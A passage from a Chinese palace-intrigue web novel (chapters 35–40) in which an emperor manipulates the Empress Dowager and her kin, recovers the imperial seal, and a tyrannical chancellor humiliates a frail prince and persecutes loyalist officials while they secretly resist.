“娘娘英明!”徐敬若脸上瞬间堆满笑容,仿佛刚才的威胁从未发生。 他躬身行礼,姿态再一次变得无比恭敬:“臣弟定当竭尽全力,助娘娘成就大业!臣弟告退,静候娘娘佳音。” 说完,他不再看徐妙晴铁青的脸色,志得意满地转身,大步流星地离开了寿康宫。 看着徐敬若消失在殿门外的背影,徐妙晴猛地将手中的玉如意狠狠砸在地上。 价值连城的美玉应声而碎。 “徐敬若……” —— 徐敬若离了寿康宫,并未回府,而是径直奔着乾清宫西暖阁而去。 郑遂依旧斜倚在软榻上,身边徐妍打着扇子,惬意舒服的不行。 王喜进来通传,他也没什么反应,对徐敬若的到来毫不意外。 “陛下!”徐敬若难掩兴奋,躬身行礼。 “幸不辱命!草民已按陛下和江尚书所示,成功说服太后娘娘。娘娘已允诺草民参与其中,并答应事成之后,将丞相之位及权柄尽归草民!草民已为陛下撬开了寿康宫的一道缝隙!” 然而预想中的夸赞并未到来。 郑遂缓缓抬眸,那双看似慵懒实则深不见底的眼睛落在徐敬若身上。 良久,他发出一声轻不可闻的嗤笑。 “说服?”郑遂的声音不高,却像淬了冰的针,“徐敬若,你当真以为,朕让你去寿康宫,是让你去跟太后讨价还价,分赃论功的?” 徐敬若脸上的得意瞬间凝固,一股不祥的预感爬上心头。 郑遂坐直了身体,那股被酒色掏空的颓靡感骤然消失。 他盯着徐敬若,一字一句的开口。 “朕让你去,是让你做一条听话的狗,去撕咬太后,让她方寸大乱,让她把不该露的东西露出来。而不是让你这条狗,自以为能跟主人平起平坐,甚至惦记起主子的猎物。” 徐敬若浑身一颤,冷汗瞬间浸透了后背。 他慌忙跪下:“陛下!草、草民绝无此意!草民对陛下忠心耿耿,天地可鉴!草民只是……只是想为陛下分忧,替陛下掌控徐敬意的势力……” “分忧?掌控?”郑遂打断他,眼神愈发森寒。 “徐敬若,你记住。你今日能站在这里,能威胁到太后,是因为朕让你站,朕给了你机会。朕能给你,也能随时收回来,甚至能让你和你那点见不得光的把柄,一起消失得干干净净。” 郑遂俯视着跪在地上,面无人色的徐敬若,声音恢复了之前的平淡,却更让人毛骨悚然。 “踏踏实实替朕做事,把爪子收好,把心思放正。事成之后,自有你一份富贵。若再敢自作聪明,妄图火中取栗?” 郑遂眯起眼,淡笑着道:“徐敬意回来之前,朕就能让你徐家先少一个碍眼的长房!明白了吗?” “明、明白了!草民明白了!谢陛下隆恩!草民定当肝脑涂地,绝无二心!”徐敬若吓得魂飞魄散,连连叩首。 “出去吧。”郑遂淡淡道。 徐敬若麻利的滚了,郑遂又一次慵懒的靠回榻上,扯出一丝淡淡的笑。 这狗咬狗的好戏,怎么就这么好看呢? 寿康宫内,徐妙晴急躁的来回踱步着。 徐敬若的威胁已然让她寝食难安。 这种刀悬在脖子上的感觉,徐妙晴是无论如何都忍受不了了。 她猛地停下脚步。 既然徐敬若知道了虎符,那不如……先下手为强,将计就计! “备辇!去乾清宫!” 乾清宫西暖阁,郑遂“虚弱”地靠在榻上,看着风风火火闯进来的徐妙晴,脸上恰到好处地露出惊讶。 “母后?您怎么来了?您脸色如此难看,可是身体不适?” 徐妙晴没时间和郑遂说这些场面上的漂亮话,立刻屏退左右,深吸一口气。 上前一步道。 “皇帝!哀家此来,是有天大的机密要告知于你!哀家手中,有一枚可调动部分禁军的虎符!” 第36章 真是蠢货 郑遂心中冷笑,面上却骤然“震惊”,挣扎着要坐起:“什么?虎符!母后,这、这可是真的?您从何得来?” 他演得极其逼真,仿佛第一次听闻。 徐妙晴看着郑遂“震惊”的样子,心中稍定,立刻将矛头直指徐敬若。 “此乃先帝临终前秘密交托,哀家一直秘而不宣,就是怕引起朝野动荡,被有心人觊觎。可恨那徐敬若不知从何处探得了风声,今日竟敢以此要挟哀家。他狼子野心,竟妄图染指兵权,分我大齐江山!” 她顿了顿,脸上露出几分恰到好处的忍辱负重。 “哀家为了稳住这个逆贼,只能假意应允了他,许他事成之后的好处,但这是权宜之计。哀家思来想去,觉得还是要将此事告知于你,好让你能有所准备,不要被小人所蒙蔽。” 郑遂心中早已看穿她的把戏,面上却极为配合。 “母后思量的是,儿臣拜服。” 郑遂激动地握紧了拳头,随即又担忧地看向徐妙晴。 “可是母后,兹事体大,如今徐敬若已知晓有虎符存在,万一他狗急跳墙,将消息散播出去,或是被丞相的人探知……母后您手握如此重器,岂不成了众矢之的?这太危险了!” 徐妙晴立刻脸色一变,目光不善地盯着郑遂。 这话是什么意思? 莫非……他想将那虎符拿走? 可却见郑遂话锋一转:“母后,不如这样。虎符事关重大,您留在身边,目标太大,风险太高。加上玉玺也一直在母后宫中保管,这可是老臣们人尽皆知的事。” 郑遂皱着眉,满脸的担忧。 一字一句,细细给徐妙晴分析着。 “这两样东西放在一处,万一有个闪失,后果不堪设想!儿臣斗胆,不如……先将玉玺交还儿臣暂为保管?一则分散风险,二则,若真有事端,儿臣手握玉玺,也可名正言顺颁旨应对,替母后分担压力,母后您看如何?” 郑遂满脸的真诚,眼睛一眨不眨的望着徐妙晴。 徐妙晴心中顿时警铃大作。 她几乎是本能地想要拒绝。 玉玺可是皇权的象征,自己好不容易得到了手,难道还要交出去? 但郑遂的话又句句戳中她的担忧。 虎符已经暴露了,玉玺也确实是个烫手山芋。 更重要的是,在她看来,虎符才是真正的权力象征。 玉玺虽然代表着皇权,但不过是个盖章的石头。 若用这个“冰疙瘩”换取暂时的信任和安全,麻痹郑遂,似乎也…… 值得? 徐妙晴飞速权衡利弊,过了许久,他终于做出了决定。 罢了,只要真的虎符还在自己手里,禁军的力量就还在自己掌控之中。 郑遂就算拿了玉玺,可谁有禁军,谁才算得上是正统! 思虑再三,徐妙晴终于点了点头。 “你说得也有理,那……哀家今日便交给你,暂为保管。你定要小心谨慎,万不可有失。” “儿臣谢母后信任!定当用性命守护!”郑遂连忙起身行礼。 当装着传国玉玺的宝匣被徐妙晴的心腹太监捧出,郑重交到王喜手中时,郑遂心中冷意终于达到了顶点。 蠢货…… 他在心中无声地嘲讽。 她以为她握着那枚假货当救命稻草,就能高枕无忧了? 徐妙晴不会真的天真的一样,谁有禁军,就能顺利登上了皇位了吧? 其实那些禁军的确分散各处,也确实代表着谁掌握了这支军队,谁就能荣登大宝。 但当初老皇帝可是确确实实的留了一手,他从来没有对外透露过,唯有姓郑的人,才能动用这支禁军。 其余者,只要敢拿着虎符出去招摇撞骗,必死无疑。 即便徐妙晴如今嫁入了皇室,是高高在上的太后,死了也得留下个郑徐氏的名讳,但就凭她手中那枚与郑遂手中纹路有差别的虎符,都足够她在禁军手中死了千八百回了。 而且估计徐妙晴到死都不会想到,她一直在寻找的禁军精锐,其实早在老皇帝咽气之前,早就把找到他们的门路和信物留给了下一任帝王。 螳螂捕蝉,黄雀在后。 而真正的猎人,早已布好了天罗地网。 这盘棋,越来越有趣了。 —— 车轮碾过官道,扬起滚滚烟尘。 眨眼之间,众人已经离京数日了。 徐敬意出门的排场很大,庞大仪仗队伍蜿蜒在官道上。 旌旗招展,甲胄鲜明,簇拥着医疗奢华宽敞的马车,处处都彰显着无上的权势。 相比之下,身后跟着的几辆装饰简朴的马车就显得格格不入。 那里面坐着的,正是被徐敬意以圣命裹挟离京的保皇党核心成员。 马车内,气氛压抑得能拧出水来。 须发皆白的御史大夫冯骥,透过车窗缝隙,看着前方那如同帝王出巡般的仪仗,花白的胡须气得微微颤抖。 “僭越!这是赤裸裸的僭越!天子仪仗规制,岂是他一个臣子可以擅用的?” 徐贼之心,路人皆知! 他这是在向天下昭示,谁才是真正的主宰! 他对面的兵部侍郎李纲闭着眼,深深叹了口气。 “冯老,慎言。如今人为刀俎,我为鱼肉。他手中有陛下的圣旨,名分上占着大义。我等若此时强项,不过是给他递上屠刀罢了。” 说罢,李纲递过去了一个意味深长的眼神。 “难道就任由他如此嚣张跋扈,裹挟我等,为他篡逆铺路?我等身受先帝厚恩,岂能坐视社稷倾颓?” “哼,铺路?”冯骥冷笑一声,眼中精光一闪。 “他徐敬意想借我等老朽的名望去安抚藩王,收买人心,再安插他的爪牙。可我们,就真的只是他棋盘上任人摆布的棋子吗?别忘了,我们这把老骨头,也不是泥捏的!到了藩地,见机行事,未必不能……” 他话未说完,马车外传来一阵急促的马蹄声,随即是侍卫冰冷的呼喝:“丞相有令!车队加速行进!前方驿站歇息,任何人不得无故喧哗、交头接耳!违令者,军法从事!” 车内瞬间陷入一片死寂。 第37章 这可是皇帝亲弟 保皇党众人脸色铁青。 徐敬意的军法从事,绝不仅仅是恐吓。 出发不过两日,已有两位公开质疑徐敬意的老臣,意外坠马重伤,被留在了途中驿站养伤。 所有人都明白,这是徐敬意的警告。 徐敬意的马车内熏香袅袅,温暖如春。 他斜倚在柔软的锦垫上,听着心腹幕僚低声汇报着后面马车里的动静。 “冯骥那老匹夫,又在鼓动人心?”徐敬意闭着眼,手指轻轻敲击着紫檀小几,语气平淡得没有一丝波澜。 “是,相爷。言辞激烈,颇有煽动之意。”幕僚恭敬回答。 “老而不死是为贼。”徐敬意嘴角勾起一抹冷笑。 “看来路上养伤的人还不够多,不足以让他们彻底闭嘴。名单上那几个最顽固的,都记好了?” “回相爷,一清二楚。楚王封地路途险峻,水土也颇不服人,出点意外……再正常不过了。” “嗯。”徐敬意满意地哼了一声。 “让他们再蹦跶几天。到了藩地,借藩王的手处理干净。记住,要做得自然,要让剩下的人明白,顺我者,到了藩地自有富贵清闲。逆我者,连楚地的黄土都埋不了他们!” “是!”幕僚应道。 数日后,仪仗抵达楚王封地云州。 楚王郑琮,是郑遂的幼弟,年少时便体弱多病,因而性情温和到近乎懦弱,为此也不大受先帝的喜欢。 更是封地偏远贫瘠,向来是藩王中最不起眼的一个。 徐敬意选择第一个“安抚”他,用意不言而喻。 杀鸡儆猴,拿最软的柿子开刀,震慑其他实力稍强的藩王。 云州城门大开,楚王郑琮率领封地大小官员,早早便在城门外恭候。 时值深秋,寒风萧瑟,体弱的楚王裹着厚厚的裘袍,脸色苍白,在寒风中微微发抖,却不敢有丝毫怠慢。 徐敬意的仪仗却在离城门还有一里之地时骤然停了下来。 没有解释,没有通传,庞大的车队就这么突兀地停在官道上。 楚王郑琮和一众官员在寒风中足足站了半个时辰,腿脚早已麻木,冻得嘴唇发紫。 随行的保皇党成员们坐在后面的马车里,看着这一幕,无不怒火中烧。 冯骥更是直接气得浑身发抖:“岂有此理!这是分明下马威,是折辱!楚王乃天潢贵胄,他徐敬意不过一介臣子,安敢如此!” 李纲按住他,沉声道:“忍!小不忍则乱大谋!看看他想做什么!” 终于,在楚王几乎要支撑不住时,徐敬意的马车才缓缓启动,慢悠悠地驶到城门前。 车帘掀起,徐敬意身披华贵的紫貂大氅,在侍卫的搀扶下,矜持地下了车。 他看都没看冻得瑟瑟发抖的楚王一眼,目光扫过简陋的城门和略显破败的城墙,眉头微不可察地皱了一下,毫不掩饰眼中的轻蔑。 “臣……臣郑琮,恭迎巡抚使大驾。”楚王强撑着上前一步,虚弱地行礼。 徐敬意这才仿佛刚看到他一般,淡淡地嗯了一声,算是回应。 他缓步走到楚王面前,居高临下地打量着他苍白病弱的脸,语带“关切”,实则满是讥讽:“王爷气色不佳啊。这云州苦寒之地,看来确实不宜王爷休养。陛下在京城,可是时常挂念王爷的安康呢。” 楚王头垂得更低,声音带着惶恐:“劳……劳陛下和巡抚使挂念,臣……臣惶恐。” “王爷不必惶恐。”徐敬意皮笑肉不笑地拍了拍楚王的肩膀,力道不小,拍得楚王一个趔趄。 旁边的官员慌忙扶住,看着徐敬意,确实敢怒不敢言。 徐敬意更加得意了:“本相奉旨巡边安藩,首要便是体察藩王疾苦。王爷体弱,更要好生保重才是。” 他环顾四周,道:“进城吧!本相一路劳顿,王爷想必已备好了接风宴席?” 这语气,仿佛他才是此地的主人。 楚王顺从道:“自然。” 垂在身侧的手已是微微攥成了拳。 徐敬意搞了这郝一凡的下马威,当晚楚王府的接风宴上,气氛直接就压抑到了极点。 徐敬意理所当然地坐了本该属于楚王的主位,楚王郑琮却只能屈居下首。 席间徐敬意谈笑风生,旁若无人, “王爷啊。”徐敬意端着酒杯,斜睨着下首拘谨不安的楚王。 “不是本相说你,你这云州,也太不像样子了。道路崎岖,城垣破败,百姓面有菜色。这传出去,岂不让人笑话我大郑藩王,竟困顿至此?知道的,说王爷你清心寡欲,体恤民力。不知道的,还以为朝廷苛待宗室呢!” 这番话说得夹枪带棒,既贬低了楚王的能力,又暗指他给朝廷抹黑。 楚王脸色一阵红一阵白,握着酒杯的手都在抖,只能唯唯诺诺地应着:“是……是臣无能……请巡抚使训示……” 坐在下首陪席的保皇党们个个脸色难看至极。 这哪里是安抚? 分明是赤裸裸的羞辱和欺凌! 在想起先帝在位时的情景,再也忍不住心中悲愤。 啪! 一声脆响,冯骥将手中的酒杯摔在了地上。 酒液四溅,他猛地站起身,老脸涨得通红,指着徐敬意。 “徐敬意!你欺人太甚!楚王殿下乃陛下亲子,金枝玉叶!你不过一介外臣,安敢如此折辱宗室,僭越无礼!你眼中还有没有君上,有没有王法!” 整个宴席瞬间死寂。 所有人都惊呆了,连丝竹之声都戛然而止。 楚王吓得面无血色,惊恐地看着冯骥。 徐敬意的笑容瞬间凝固在脸上。 他没有立刻发怒,只是缓缓放下酒杯,手指轻轻敲击着桌面。 “哦?”徐敬意的声音不高,却带着刺骨的寒意,“冯大人好大的火气啊,本相奉旨安抚藩王,体察民情,所言所行,皆是为国分忧,为王爷着想。何来折辱?何来僭越?” 他目光扫过程老大人,又扫过其他敢怒不敢言的保皇党。 “看来,冯大人是旅途劳顿,水土不服,以至于神思恍惚,胡言乱语了。” 徐敬意慢条斯理地说着,稍顿片刻,语气陡然转厉。 “来人!冯大人身体不适,送他回驿馆好好休息!没有本相的命令,任何人不得打扰冯老大人静养!” 几名侍卫立刻冲了进来,不由分说,架起还在怒骂挣扎的冯骥就往外拖。 “徐贼!你不得好死!老夫……” 程老大人的怒骂声被粗暴地打断,消失在殿外冰冷的夜色中。 宴席上一片死寂,落针可闻。 所有保皇党成员都沉默不语,楚王更是吓得浑身瘫软,几乎要从椅子上滑下去。 徐敬意仿佛什么都没发生过,重新端起酒杯,脸上又挂起了虚伪的笑容,对着面无人色的楚王举杯。 “王爷,些许插曲,不必介怀。来,本相敬你一杯,愿王爷身体康泰,安守疆土!” 楚王颤抖着手,艰难地举起酒杯,头深深地埋了下去。 第38章 道不同不相为谋 宴席上冯骥被强行拖走留下的死寂尚未完全散去,徐敬意那番赤裸裸的威胁犹在耳边。 几名年岁较大,性情刚直的保皇党成员交换了几个眼神,皆看到对方眼中的悲愤。 其中一人猛地推开面前的桌案,杯盘狼藉摔落一地。 “道不同,不相为谋!老夫羞与尔等为伍!” 他朝着徐敬意方向重重啐了一口,随即拂袖转身,昂首挺胸,大步流星地离席而去。 紧接着,又有两三人沉默地起身,紧随其后。 殿内气氛更加凝滞,剩余的保皇党成员紧握拳头,指节发白,却终究没有勇气再站起来。 楚王更是将头埋得更低,身体微不可察地颤抖着。 徐敬意看着那几个离去的背影,脸上非但没有怒意,反而露出一丝玩味的笑容。 他慢悠悠地品了一口杯中酒,眼神却冰冷如刀锋,扫过留下的人。 那目光仿佛在无声地说:看,这就是下场,识时务者为俊杰。 当晚,徐敬意并未有丝毫收敛。 他入住楚王府最华美的客院,灯火通明,丝竹管弦之声不绝于耳。 他明里暗里向楚王索要美姬,楚王不敢不从,只得强忍着屈辱,命人挑选了几名姿色上佳的侍女送去。 深夜里,那客院中放肆的调笑声、女子娇媚的吟以及徐敬意醉醺醺的狎昵言语都清晰地传到了特意被安排在邻近简陋院落里的保皇党成员耳中。 “禽兽!简直禽兽不如!” “在王爷府邸,竟如此……如此……置宗室颜面于何地!” “他徐贼眼中,哪还有半分君臣纲常?分明视自己为这云州之主了!” 压抑的议论在黑暗中蔓延,宝皇的心中一派的怒火更是蹭蹭燃烧。 而次日,徐敬意却仿佛昨夜荒唐未曾发生过一样。 他更加精神抖擞了,又以体察民情,巡视封地为名,强令病弱的楚王亲自作陪。 楚王本来就面白如纸,又被强行拎出来,眼下正在深秋的寒风中裹着厚重的裘袍,几乎每一步都走得摇摇欲坠。 徐敬意却兴致高昂,骑着高头大马,不时指指点点,对云州的贫瘠破败大肆讥讽。 保皇党数人跟在徐敬意的随从队伍之后,目睹楚王强撑病体,步履维艰的模样,又看到徐敬意那颐指气使,视藩王如奴仆的态度,昨日积压的怒火再也无法遏制。 兵部侍郎李纲终于忍不住,策马上前一步,沉声道:“丞相!王爷玉体违和,风寒侵体,实在不宜再随行奔波!不如让王爷回府歇息,由下官等或王府属官陪同丞相巡视?” 徐敬意勒住马,斜睨着李纲,嘴角扯出一个讥诮的弧度:“李侍郎这是在教本相做事?王爷乃一藩之主,岂能不知自己封地详情?本相奉旨安藩,自然要亲耳听听王爷的治政良方。王爷都没喊累,李侍郎倒是心疼了?莫非……李侍郎觉得本相在为难王爷?” 李纲被噎得脸色发青,正要再辩,他身后一位性情更为火爆的年轻御史再也按捺不住。 厉声喝道:“徐敬意!你休要欺人太甚!挟天子以令诸侯,裹挟朝臣,如今更折辱宗室!你狼子野心,昭然若揭!天下忠义之士,必食汝肉,寝汝皮!” 这痛骂如同惊雷,炸响在空旷的郊野。 所有人都惊呆了,连徐敬意身边的亲卫都下意识地按住了刀柄。 徐敬意的脸色瞬间阴沉得能滴出水来。 他勒转马头,冷冷地盯着那年轻御史和旁边另一个同样怒目而视、准备附和的官员。 随后环顾四周,看着那些敢怒不敢言的保皇党,又看看瑟瑟发抖的楚王,看看这片贫瘠的土地,一股掌控一切的得意和暴戾涌上心头。 “好!好得很!”徐敬意怒极反笑。 “本相本念尔等旅途劳顿,不欲多做计较。看来是本相太过仁慈,倒让你们忘了自己的身份,忘了什么是尊卑,什么是王法!” 他猛地抬手,指向那两个骂得最凶的御史:“此二人咆哮上官,污蔑宰辅,藐视钦差,形同谋逆!来人!给我拿下!” 亲兵立刻扑了上去,将两人从马上拖拽下来,死死按住。 “徐贼!你不得好死!” “放开我!徐敬意,你必遭天谴!” 两人奋力挣扎,破口大骂。 徐敬意脸上没有丝毫怜悯,只有一种猫戏老鼠般的冷酷。 他目光扫过惊恐的楚王和噤若寒蝉的保皇党,嘴角勾起一抹残忍刻薄的笑意:“王爷,您看,这等狂悖之徒,该如何处置?留在身边,怕是要坏了您王府的清静。” 楚王郑琮嘴唇哆嗦着,看着被按在地上犹自怒骂不休的两人,又看看徐敬意那意味深长充满威胁的眼神,巨大的恐惧让他连话都说不出来。 此刻任何求情都只会招来更可怕的报复,甚至可能牵连自身。 “全、全凭巡抚使……处置……”楚王的声音细若蚊呐,带着绝望的哭腔。 徐敬意满意地点点头:“王爷果然深明大义。既然此地山林茂密,猛兽频出……” 他顿了顿,眼中凶光一闪。 “那就让他们去给山里的畜生添点口粮吧!拖去马厩,用最烈的野马,拖进林子深处!是生是死,看他们的造化!” “不!” “徐贼!你丧尽天良!” 凄厉的咒骂和惨叫声中,两人被粗暴地拖向马厩。 很快,伴随着野马狂暴的嘶鸣和令人牙酸的拖拽声,两道烟尘向着远处猛兽出没的山林急速蔓延而去,咒骂声迅速被风声吞没。 整个场面死一般的寂静,只有寒风呜咽。 保皇党成员们个个面无人色,浑身冰冷,有人甚至闭上了眼睛,不忍再看。 李纲死死咬着牙,口腔里弥漫开浓重的血腥味。 徐敬意仿佛做了一件微不足道的小事,拍了拍手,转向面如死灰、摇摇欲坠的楚王。 语气温和地问道:“王爷,本相如此处置这些狂徒,您觉得可好?可还妥当?” 楚王只觉得天旋地转,眼前发黑,巨大的恐惧彻底击垮了他本就脆弱的精神。 第39章 人快齐了 他张了张嘴,却发不出任何声音。 然后身体猛地一晃,直挺挺地向后倒去! “王爷!” “殿下!” 王府奴仆和随行官员顿时乱作一团,惊呼声四起。 众人手忙脚乱地将昏迷不醒的楚王抬回王府,府医被火速召来。 一番紧张的诊脉后,老府医脸色凝重地摇头:“王爷本就心脉虚弱,此番惊怒交加,邪风入腑……已是油尽灯枯之兆,只怕……只怕就在这几日了……” 噩耗如同瘟疫般迅速在王府和徐敬意的随行队伍中传开。 保皇党一派更是如坠冰窟。 楚王若死,徐敬意的屠刀下一个会挥向谁? 可当消息传到徐敬意耳中时,这位权相非但没有丝毫惊慌或愧疚,反而在暂居的华丽厅堂里露出了更加得意的笑容。 他特意召集了所有剩余的保皇党成员,包括昨日离席又被他派人“请”回来的那几位。 厅堂内气氛压抑得令人窒息。 徐敬意高踞主位,慢条斯理地品着茶,目光扫过下方一张张神色各异的脸。 “唉。”徐敬意故作惋惜地叹了口气。 “楚王殿下……真是福薄啊。本相奉旨前来安抚,本想为殿下分忧解难,共享太平。谁承想……殿下竟被几个不知死活、以下犯上的狂徒气得……唉!” 他放下茶盏,语气陡然转冷,带着赤裸裸的威胁:“诸位大人都是朝廷栋梁,国之柱石,当以此为戒啊!识时务,知进退,方能长久。若是非要不自量力,螳臂当车……那下场,诸位今日也亲眼所见了。楚王殿下贵为藩王,尚且有此一劫,何况他人乎?” 这诛心之言,如同最后一根稻草,压垮了某些人心中残存的坚持。 恐惧终于彻底战胜了忠诚和骨气。 片刻的死寂后,一位在保皇党中地位颇高、素以稳重著称的老臣颤抖着站起身,走到厅堂中央。 他不敢看同僚的目光,对着徐敬意深深一揖。 “丞……丞相……明鉴。下……下官……往日糊涂,不识时务,险些误入歧途。今……今日幡然醒悟,愿……愿追随丞相左右,为丞相效力,为大郑……尽忠……” 说到最后,他声音已低不可闻,充满了屈辱。 有了第一个,很快,又有两三人相继起身,脸色灰败地表示了“投诚”。 看着这些昔日梗着脖子与自己作对的老臣,如今在自己脚下俯首帖耳,徐敬意心中涌起巨大的满足感和掌控一切的快意。 他畅快地大笑起来:“哈哈哈!好!识时务者为俊杰!几位大人迷途知返,实乃朝廷之幸!快快请起,赐座!” 他仿佛已经看到了自己权倾天下,无人敢逆的辉煌未来。 可徐敬意所不知道的是,床榻之上的楚王虽然面色依旧苍白如纸,气息微弱,但那双眼睛却已悄然睁开。 他刚刚服下了府医秘制的能短暂激发元气,压制病容的虎狼之药。 确认身边最忠心的老内侍已将“王爷命不久矣”的消息严密散布出去,并且王府内外都已被徐敬意的人关切地“保护”起来之后。 楚王强撑着坐起身,在老内侍的搀扶下,艰难地挪到书案前。 他提起笔,手腕因虚弱和药力而微微颤抖,但落下的字迹却异常清晰有力。 将一封密信飞快写好,用特殊的火漆封好。 交给老内侍,用气声道:“……务必……亲手交予……罗英……十万火急!” 老内侍眼中含泪,重重点头,将密信贴身藏好,消失在寝殿的暗门之后。 而在另一边,云州城外那片猛兽出没的莽莽山林边缘外,两个浑身血污衣衫破烂不堪的身影,正被一群身着劲装的人小心地抬上担架。 一个首领模样的人蹲下身检查伤势,低声道:“李大人吩咐了,务必将几位大人的伤尽快治好。快,送回据点救治!” 他抬头望向密林深处,眼神复杂。 “加上前几日‘水土不服’失踪的那几位大人……我们的人,差不多齐了。” —— 皇城,夜色如墨,宫灯在寒风中摇曳,映照着一道匆匆而行的身影。 江如松几乎是跑着进了乾清宫。 “陛下!云州密报!”江如松进了门,几乎顾不上平复呼吸,双手将一份密封的蜡丸呈上。 郑遂正懒洋洋地倚在软榻上把玩一枚玉珏,闻言眼皮微抬,示意王喜接过。 王喜小心捏碎蜡丸,取出里面的密信,恭敬地递给郑遂。 郑遂展开密信,目光快速扫过。 信上详细描述了徐敬意在楚王封地的跋扈行径。 看着看着,郑遂的嘴角慢慢勾起一个弧度。 羞辱楚王、杖责拖杀御史、楚王“病危”、以及部分保皇党成员被迫“投诚”的经过。 这桩桩件件,单拎出来一条都够他死个几百回了。 郑遂嘴角的弧度越来越大,最后竟发出一声低沉的笑。 “哈哈哈!好!好一个徐敬意!朕的好丞相,果然没让朕失望!” 郑遂抬手指向躬身站立的江如松:“江爱卿!此事你办得极好!消息传递及时,渠道隐秘,甚合朕意!当记你一大功!” 江如松连忙躬身:“为陛下分忧,是臣的本分!不敢居功!” “诶。”郑遂站起身,踱步到江如松面前。 脸上的笑容依旧,但眼神却陡然变得锐利如刀。 带着一丝不易察觉的冰冷,轻轻拍了拍江如松的肩膀。 “江爱卿的本分,朕自然知道。不过……” 他微微俯身,声音压得更低。 “爱卿更要时刻谨记,你真正的主子是谁。朕能给你今日的权位和信任,自然也能……收回来。有些路,踏上去,可就回不了头了。爱卿是聪明人,想必明白朕的意思?” 江如松后背瞬间被冷汗浸透。 郑遂那看似亲昵的拍肩,却如同千斤重担压了下来。 他扑通一声跪倒在地:“陛、陛下明鉴!臣对陛下忠心耿耿,绝无二心!臣……臣的主子唯有陛下一人!若有异心,天诛地灭,不得好死!” 第40章 我们早已不分彼此 郑遂满意地看着他这副惊惧惶恐的模样,脸上又恢复了那种慵懒的笑意。 “起来吧,江爱卿。朕不过是随口一提,爱卿不必如此惶恐。朕自然是信你的。” 他重新坐回软榻,语气变得随意。 “楚王那边病危的消息,想必很快会传回京城。徐敬若那个蠢货在寿康宫蹦跶得正欢,你替朕盯紧了他。京城,不能乱。尤其是,别让他闹出什么动静,惊扰了太后。你明白吗?” “臣明白!臣定当严密监视徐敬若的一举一动!”江如松连忙应道。 “嗯。”郑遂点点头,“还有,去寿康宫向太后禀报云州消息时,分寸要拿捏好。该说的说,不该说的一个字也休要多言。太后如今,想必也是寝食难安呢。” 郑遂说着,眼中不禁闪过一丝嘲弄。 “臣遵旨!臣知道分寸!”江如松再次躬身,如蒙大赦。 “去吧。”郑遂挥挥手。 江如松不敢再多留一秒,躬身退出乾清宫,带着满身的冷汗,脚步匆匆地消失在前往寿康宫方向的夜色中。 看着江如松离开,郑遂脸上的慵懒瞬间褪去。 他唤道:“王喜,去请徐尚宫过来。” 不多时,徐妍莲步轻移,走了进来,盈盈下拜:“奴婢参见陛下。” “免礼。”郑遂亲自上前将她扶起,拉着她的手走到御案旁。 他没有立刻说话,而是伸手拉开了御案下方一个极其隐秘的抽屉,从中取出一个卷轴。 那卷轴颜色古旧,边缘甚至有些磨损,透着一股尘封已久的气息。 郑遂缓缓将卷轴在御案上展开。 徐妍好奇地瞥了一眼,只见上面绘制的并非山水花鸟,而是线条复杂、标注着密密麻麻小字的……地图? 似乎是皇宫的布局图,但很多地方又显得格外陌生,甚至有些诡异。 她心头一跳,本能地感到一阵不安,下意识地别开了头,不敢细看。 “妍儿,为何不敢看?”郑遂的声音在她耳边响起,带着一种刻意的温柔和蛊惑。 他伸出有力的手臂,不容抗拒地将徐妍纤细的身体搂进自己怀里。 徐妍身体微僵:“陛下,此乃……此乃宫闱秘图……奴婢不敢僭越……” “僭越?”郑遂低笑一声,温热的气息拂过徐妍敏感的耳廓,引得她一阵轻颤。 他搂着徐妍的手臂收紧,两人的身体紧紧贴在一起,隔着薄薄的衣衫,几乎能感受到彼此的体温和心跳。 “傻妍儿,你我之间,早已不分彼此。朕的,便是你的。你我已是真正的爱侣,血肉相连,同心同德。这世上,没有什么秘密是不能让你知道的。” 他低头,看着徐妍因为紧张和羞涩而微微泛红的脸颊。 声音更加低沉,充满了诱惑:“今夜,朕便要去做一件大事。一件关乎你我未来、关乎这大郑江山的大事。妍儿,你可愿陪朕同去?” “同……同去?”徐妍猛地抬起头,眼中充满了惊愕,“陛下要去何处?奴婢不敢……” “怕什么?”郑遂的手指轻轻抚上徐妍光滑的脸颊,眼神灼热。 “有朕在,天塌下来,也伤不到你分毫。况且……” 他凑得更近,几乎是贴着徐妍的唇瓣低语,带着浓重的暗示。 “此事若成,妍儿,你便是朕名正言顺的皇后!母仪天下,尊荣无双!再无人能撼动你的位置!” 皇……皇后? 这两个字如同惊雷在徐妍脑中炸响。 虽然郑遂不是第一次提及,徐妍也并没有完全相信。 但是跟着郑遂数日,权力有多重要,徐妍早已铭记在心 一瞬间,对于权力的巨大渴望压倒了恐惧,在徐妍眼中燃起一簇炽热的火焰。 她看着郑遂近在咫尺的的眼睛,看着他许诺的无上尊荣,心脏在胸腔里狂跳起来。 终于,在郑遂灼灼目光的逼视下,徐妍的身体不再颤抖。 她深吸一口气,颤颤巍巍地点了点头:“奴婢……愿随陛下同往!生死……不悔!” 郑遂心中无声地划过一丝冰冷的讥讽,脸上却绽开一个无比欣慰的笑容。 “好!妍儿果然不负朕望!” 他立刻扬声:“王喜!更衣!要便服!” 片刻之后,郑遂换上了一身玄色劲装,少了几分帝王的慵懒,多了几分锐利。 徐妍也换上了一套便于行动的深色宫装,卸去了繁复钗环,只挽了一个简单的发髻。 两人在王喜心腹内侍的引领下,避开宫中巡逻的侍卫,如同两道融入夜色的影子,悄无声息地来到了御花园深处一个极其偏僻,荒草丛生的角落。 这里假山嶙峋,藤蔓缠绕,几乎无人踏足。 郑遂拿出那张地图,借着微弱的月光仔细辨认片刻,随即走到一块看似布满青苔的巨石旁。 他伸手在石壁上一处极其隐秘的凸起处用力一按,又按照某种特定的顺序旋转了几下。 咔哒…嘎吱…… 一阵沉闷的机括转动声响起,那块巨石旁边,一块爬满藤蔓,与周围假山几乎融为一体的石壁竟缓缓向内凹陷,露出了一个仅容一人通过的黑黢黢的洞口。 一股带着浓重土腥味和岁月尘埃气息的阴冷寒风瞬间从洞口涌出。 “走!”郑遂没有丝毫犹豫,一手紧握地图,一手牢牢抓住徐妍有些冰凉的手腕,率先矮身钻了进去。 徐妍被那阴冷的气息激得打了个寒颤,但想到郑遂的许诺,咬咬牙,也跟了进去。 内侍警惕地看了看四周,迅速将洞口恢复原状。 密道内漆黑一片,伸手不见五指。 空气浑浊潮湿,弥漫着浓重的霉味和泥土气息,还夹杂着一丝若有若无的铁锈味。 脚下是凹凸不平的石阶布满了滑腻的青苔。前行极为艰难。 郑遂点燃了随身携带的一盏小巧的琉璃风灯,昏黄的光晕勉强照亮前方几步的距离。 “跟紧朕。”郑遂的声音在狭窄的空间里显得有些沉闷。 